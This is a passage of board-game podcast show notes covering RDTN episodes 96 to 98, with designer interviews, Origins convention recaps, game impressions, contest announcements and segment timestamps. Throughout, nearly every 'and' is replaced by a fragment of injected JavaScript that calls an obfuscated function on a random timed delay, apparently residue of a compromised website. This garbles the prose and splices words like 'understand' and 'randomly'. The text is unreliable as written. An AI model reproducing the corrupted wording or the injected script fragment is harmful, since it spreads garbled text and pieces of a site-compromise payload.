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RDTN Episode 98: Cry Havoc, The Walking Dead – No Sanctuary, Sadler Brothers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ignacy


In this episode, we have two interviews with game designers. Our first is with the brother design team, Adam andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Brady Sadler. They were on our show in Episode 79 discussing Warhammer Quest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not having learned their lesson, returned again to talk with us about their new project The Walking Dead: No Sanctuary. This project is currently running on Kickstarter until 8/1 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has made it to the lofty goal of a quarter of a million dollars. One of the neat aspects of this KS is that Cryptozoic is offering you two price points to buy this game. One with minis andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one without. It would be nice if more publishers would give us that option when buying. It is very hard for some of us to drop $120 on a game with minis andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not have any idea if we will like it. By giving us the option to by the standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andees version andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then possibly get the minis later, more might be willing to take a chance on the game. Now, we understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that the Cryptozoic IP games have had some challenges, but with the Sadler team behind this one, there is hope that this will be a big success.

We then drove down to Atlanta to see our good buddy, Ignacy Trzewiczek. He was kind enough to spend over 10 hours with us playing all types of games. More importantly, we got to experience the Cry Havoc game that is coming out at Gen Con. The miniatures are great, the art is outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the gameplay is solid. And even though it was late, we got to try out First Martians. While the game is some months away, the demo gave us the feel of how it mimics Robinson, but we could see the improvements that will be coming. Oh, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Steve Avery was there as well ūüôā

Please be sure to enter our contests for the Scott King Gaming Calendar andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Gale Force Nine Tyrants of the Underdark.

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Segment, Time
Intro, 00:51
Rodney Smith: Strike, 2:28
Brady andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Adam Sadler, 4:30
Elevator Pitch, 5:25
Not just killing Walkers, 8:20
Pure Co-op Game, 12:40
How the cards andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dice work, 14:50
The Characters, 20:55
The Different Versions, 25:10
Cryptozoic Track Record, 26:25
What is next, 36:30
Broken Token, 41:05
Ignacy is the house, 41:40
Thunderroad, 43:00
Cry Havoc, 45:10
Imperial Settlers Aztecs, 48:40
First Martians, 54:10
Questions for Ignacy, 58:00
Outro, 1:09:30
Bit Box Kickstarter, 1:10:40
Shout Outs, 1:14:10
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RDTN Episode 97: Reviews of Tyrants of the Underdark, Simurgh, Mystic Vale, My Village, Tides of Madness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Others

Episode97bannerBefore we talk about¬†Episode 97, Play the Game Tonight, we want to bring to everyone’s attention, specifically those of us with R.E.D.S.*, Rodney Smith’s, a dear friend of ours, Indeigogo Campaign. This is the first place we go to for help with rules andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how to play videos. He is also a great guy, so even if you can donate at the $5 level, it will¬†mean a bunch to him.Rodneyone

We came back from Origins with a bunch of new releases andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we need to get them played andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and share our thoughts with everyone. We are in for a very good 2016 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and if Origins is any indicator of what is to come, then Gen Con is going to mind blowing when it gets here. Now, there are a few that were not stars, but the level seems to raise each year, so while these games don’t jump out, they should not be overlooked. Tyrants of the Underdark¬†by Gale Force Nine was the standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andout in the bunch andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and because it is so good, we are holding a contest to win yourself a copy. Head over to this Google Form, be sure to fill out all the answers in order to be counted, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we will pick a winner random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andomly from those entries.

Looking back at the list, there is a game for about everyone’s taste. We have card drafting, deck building, area control, worker placement, set collection, auctioning¬†andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and games for all ages. But how do they take these mechanics in another direction might be how these games will win you over. Take Piratoons¬†from Stronghold Games¬†for example. Here is a game where you are set collecting, auctioning, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and card drafting. With the set collecting, you get points for matches, but if you constantly are going for the set, you might be sacrificing something else andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it will hurt your score at the end. To help speed things along in the card drafting, Piratoons puts a timer on the players, but it isn’t a maximum, but a minimum where players can’t call time to stop the drafting until it has run out. Very neat way for the tempo of the game to be maintained andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and add a strategic element.

One more thing, it is a little early to be planning your calendar selection for next year, but one of our favorite guys, Scott King, is doing his Kickstarter for 2017 Gaming Calendars. He has photos of all board games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I am sure that he has twelve of your favorites. If you are on our site, then you see his pictures in our banners as they scroll by. But that is not all. Scott is also an author, game reviewer, podcaster, etc. Wish I had that energy. Well, he is offering two listeners a chance at win his base calendars, so once again, go fill out this Google Form andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we will pull a random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom name from the entries andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and award them a calendar. Be sure andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fill out all the answers to be eligible.

All contests from this show will be open from the posting on the show on 7/12/2016 to 8/6/2016 at 23:00 EPT.

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Segment, Time
Intro, 00:40
Scott King 2017 Calendar, 3:20
2016 Movie Pick Update, 6:10
Chaz Vlog from Origins, 7:45
Things we played recently, 9:45
Animals on Board, 14:58
Bear Valley, 19:16
Simurgh, 24:17
Piratoons, 29:25
Plums, 34:35
My Village, 38:45
Tides of Madness,49:30
Mystic Vale, 53:05
Tyrants of the Underdark, 58:45
Rodney Smith Indiegogo, 1:11:15
iTune Reviews, 1:14:33
On Board Games 200 Episodes, 1:15:25
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*R.E.D.S. = Rule Explanation Deficiency Syndrome

RDTN Episode 96: Another Day in Paradise – Origins Recap, Caravan, Ascension X, Adrenaline, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Guild Ball

caravanThis episode is all about our adventures at Origins for it has come andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it did not disappoint. It was great seeing familiar faces andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and meet all the new faces. Thanks to everyone that said hello andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hope your experience was an enjoyable as ours. We were able to demo a bunch of prototypes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and played new andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and old games. We bathed in all the shiny stuff in the vendor hall (Stronghold, Passport, Portal, etc) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some of us tasted the many delicacies at the North Market. We have many pictures posted over at our Facebook page if you want to take a look at the happenings going onadrenaline while we were there.

fontsizeWe do want to make sure that you are aware of a few games we saw. Adrenaline by CGE caught us off guard andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we were not expecting the gameplay experience we encountered. If you are at Gen Con, please get by the CGE room andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hopefully you can see it in action. Then there was the new Emerson Matsuuchi¬†game Caravan. So simple andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and straight forward andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it will not be a game changer, but it might put other games like Splendor on the shelf for awhile in our humble opinion. While we were there for four days, it didn’t seem it andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there were so many other games that we didn’t get to see. Maybe at future Origins, we can have a team of RDTN Squirrels going out andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bringing back nuggets that should have our attention. Well, a podcast can dream can’t it.

Thanks for listening andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and share with us any experiences you had at Origins over in our BGG Guild.
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Segment, Time
Intro, 00:34
Board Game Insider Challenge, 3:46
First Games @ the Con, 07:16
Ascension X: War of Shadow, 9:10
Adrenaline – CGE, 15:20
Codenames Pictures, 19:45
Stronghold Update, 21:20
Caravan by Emerson Matsuuchi, 31:43
Crazy Karts Demo, 36:05
JVMF Winners- Chris andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Angel, 40:15
Passport Games Studio: Salem & Simurgh, 41:55
Ashes Tournament, 50:10
The Meet-ups at Origin, 52:45
It was a late night, 55:48
Guild Ball Designers, 59:45
Our Saturday Gaming Night, 01:06:55
Arkwright, 1:16:08
The Broken Token, 1:22:08
The Duchess Рit feels so right,1:25:05
Scott King Calendars back on Kickstarter, 1:31:36
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